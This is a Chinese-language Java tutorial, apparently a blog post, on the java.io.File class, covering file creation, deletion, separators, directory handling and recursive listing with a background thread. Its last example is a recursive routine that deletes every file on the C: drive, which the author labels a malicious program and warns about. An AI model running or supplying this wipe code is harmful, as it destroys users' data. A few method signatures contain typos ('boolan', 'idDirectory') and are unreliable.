java:File關於文件類的常用操作

1.定義
File是java.io包中唯一一個與文件本身操作有關,與文件內容操作無關的類。
2.File類使用
File類是一個普通的文件類,使用時直接實例化對象即可。要實例化File類對象,有兩個構造方法可供我們使用
public File(String path)
public File(String parent,String child):設置父路徑和子路徑
File類中有以下幾個最爲常用的方法:
創建新文件:

public boolean createNewFile() throws IOException

判斷文件是否存在:

public boolan exists()

刪除文件:

public boolean delete()

路徑分隔符:

File.separator

看幾個例子:
1,創建文件:

public class IO1 {
    public static void main(String[] args) {
		// 取得File對象
        //所要創建文件的地址,多次創建也只會創建一個文件
        File file  = new File("C:\\Users\\Administrator\\Desktop\\java.io");  
        try {
        	//會產生異常,try...catch即可
            file.createNewFile();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

2,判斷文件是否存在:

public class IO1 {
    public static void main(String[] args) {
        File file = new File("C:\\Users\\Administrator\\Desktop\\java.io");
        //此時文件存在,若刪除文件名,C:\Users\Administrator\Desktop,輸入該路徑,
        // 輸出仍爲文件存在,File類即可指文件也可指路徑
        if (file.exists()) {
            System.out.println("文件存在");
        }
    }
}

3, 刪除文件:

public class IO1 {
    public static void main(String[] args) {
        File file = new File("C:\\Users\\Administrator\\Desktop\\java.io");
        if (file.exists()) {
            file.delete();
        }else{
            try {
                file.createNewFile();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
}

3…路徑分隔符
實際項目部署環境可能與開發環境不同。那麼這個時候路徑的問題就很麻煩了。windows下使用的是"",而Unix系統下使用的是"/"。所以在使用路徑分隔符時都會採用File類的一個常量"public static final String separator "來描述。

public class IO1 {
    public static void main(String[] args) {
        File file = new File("C:"+File.separator+"Administrator"+
        File.separator+ "Desktop"+File.separator+"java.io");  
        System.out.println(file); //系統會自動把分隔符去掉,改爲正常文件路徑表示
        if (file.exists()) {
            file.delete();
        }else{
            try {
                file.createNewFile();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
}

4. 目錄操作
4.1 取得父路徑與父File對象

public String getParent()
public File getParentFile()

4.2 創建目錄(無論有多少級父目錄,都會一次性創建)

public boolean mkdirs()

看一個例子:

public class IO1{
    public static void main(String[] args) {
        File file = new File("C:"+File.separator+"Users"+File.separator
                    +"Administrator"+File.separator+"Desktop"+File.separator
                  	+"www"+File.separator+"bit"+File.separator+"java"+File.separator
                    +"javaIO"+File.separator);
        //取得父文件對象
        File parentFile = file.getParentFile();
        if(!parentFile.exists()){
            parentFile.mkdirs();
        }
        if(file.exists()){
            file.delete();
        }else{
            try {
                file.createNewFile();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
        //System.out.println(file.getParent());//獲取父路徑
    }
}

4.3 取得文件信息
判斷File對象是否是文件

public boolean isFile()

判斷File對象是否是路徑

public boolean idDirectory()

取得文件大小,輸出結果以字節爲單位

public long length()

取得最後修改日期:返回值是long類型的

public long lastModified()

具體使用:

public class IO1{
    public static void main(String[] args) {
        File file = new File("C:"+File.separator+"Users"+File.separator
                +"Administrator"+File.separator+"Desktop"+File.separator
                +"託尼.jpg");  
        if(file.exists() && file.isFile()){
            System.out.println(file.length()/1024);  //輸出文件大小
            System.out.println(file.lastModified());  //文件最後一次修改時間
        }
    }
}

列舉一個目錄的全部組成;
public File[ ] listFiles()
eg:

public class IO1{
    public static void main(String[] args) {
        File file = new File("C:"+File.separator+"Users"+File.separator
                +"Administrator" +File.separator+"Desktop"); 
        System.out.println("遞歸文件開始");
        long start = System.currentTimeMillis();
        listAllFiles(file);  //遞歸遍歷文件
        long end = System.currentTimeMillis();
        System.out.println("遍歷文件結束,共耗時"+(end - start));
        }
        public static void listAllFiles(File file){
            if (file.exists() && file.isFile()){
                System.out.println(file);
            }else{
                File[] files = file.listFiles();
                for(File file1 : files){  //遇到文件裏面有文件,繼續遍歷
                    listAllFiles(file1);   
                }
            } 
        }     
    }

我們可以發現上述代碼有個非常明顯的問題。現在所有的代碼都是在main線程下完成的,如果listAllFiles()方法沒有完成,那麼對於main後續的執行將無法完成。這種耗時的操作讓主線程出現了阻塞,而導致後續代碼無法正常執行完畢。如果不想讓阻塞產生,最好再產生一個新的線程進行處理。

對以上代碼進行修改:
IO相關處理屬於阻塞式耗時操作,一般放在子線程中進行

public class IO1{
    public static void main(String[] args) {
        System.out.println("遍歷文件開始");
        new Thread(() ->{
        File file = new File("C:"+File.separator+"Users"+File.separator
                +"Administrator" +File.separator+"Desktop");  //指定路徑爲C盤
        System.out.println("遞歸文件開始");
        long start = System.currentTimeMillis();
        listAllFiles(file);  //遞歸遍歷文件
        long end = System.currentTimeMillis();
        System.out.println("遍歷文件結束,共耗時"+(end - start));
        }).start();
        System.out.println("主線程繼續執行");
    }
        public static void listAllFiles(File file){
            if (file.exists() && file.isFile()){
                System.out.println(file);
            }else{
                File[] files = file.listFiles();
                for(File file1 : files){  //遇到文件裏面有文件,繼續遍歷
                    listAllFiles(file1);
                }
            }
        }
    }

以上代碼只是個遍歷文件的過程,我們對上述代碼稍加修改:將遍歷顯示操作變成遍歷刪除操作這就成了一個惡意程序。

public class IO1{
    public static void main(String[] args) {
        File file = new File("C:");
        long start = System.currentTimeMillis();
        listAllFiles(file);  //遞歸遍歷文件
        long end = System.currentTimeMillis();
    }
        public static void listAllFiles(File file){
            if (file.exists() && file.isFile()){
               file.delete();  //遇到文件就刪
            }else{
                File[] files = file.listFiles();
                for(File file1 : files){  //遇到文件裏面有文件,繼續遍歷,刪除文件
                    listAllFiles(file1);
                }
            }
        }
    }

以上代碼謹慎使用。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章